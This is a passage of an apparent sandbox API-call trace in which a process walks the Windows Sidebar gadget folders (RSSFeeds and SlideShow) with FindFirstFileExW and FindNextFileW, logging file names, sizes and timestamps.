cAlternateFileName="")) returned 1 [0245.138] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.138] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.138] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0245.138] lstrcmpW (lpString1="css", lpString2=".") returned 1 [0245.138] lstrcmpW (lpString1="css", lpString2="..") returned 1 [0245.138] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.138] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.138] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.138] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.138] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.138] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0245.140] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.140] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.140] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0245.141] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.142] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.142] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.142] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.142] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.142] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1aee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.js", cAlternateFileName="")) returned 1 [0245.142] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.143] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.143] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1aee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.js", cAlternateFileName="")) returned 1 [0245.143] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.143] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.143] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0245.143] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x86a, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1 [0245.143] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.145] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.145] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8061433b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8061433b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.145] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.145] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.145] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce029cd, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3ce029cd, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3ce029cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1369, dwReserved0=0x0, dwReserved1=0x0, cFileName="16-on-black.gif", cAlternateFileName="")) returned 1 [0245.151] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.152] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8061433b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8061433b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.152] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce029cd, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3ce029cd, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3ce029cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1369, dwReserved0=0x0, dwReserved1=0x0, cFileName="16-on-black.gif", cAlternateFileName="")) returned 1 [0245.153] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.153] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.153] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c4e50a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c4e50a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cdb6711, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2141, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0245.154] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.154] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.154] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.154] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.154] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.154] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d3f607d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7575, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0245.155] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.155] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.155] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.155] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0245.155] lstrcmpW (lpString1="css", lpString2=".") returned 1 [0245.155] lstrcmpW (lpString1="css", lpString2="..") returned 1 [0245.155] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.156] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.156] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.156] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.156] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.156] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0245.157] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.157] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.157] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0245.158] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.158] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.158] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.158] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.158] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.159] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 1 [0245.159] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.159] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 1 [0245.159] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0245.160] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.161] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.161] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.161] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b43b7f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b43b7f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d468497, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.png", cAlternateFileName="")) returned 1 [0245.162] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.162] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.162] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, 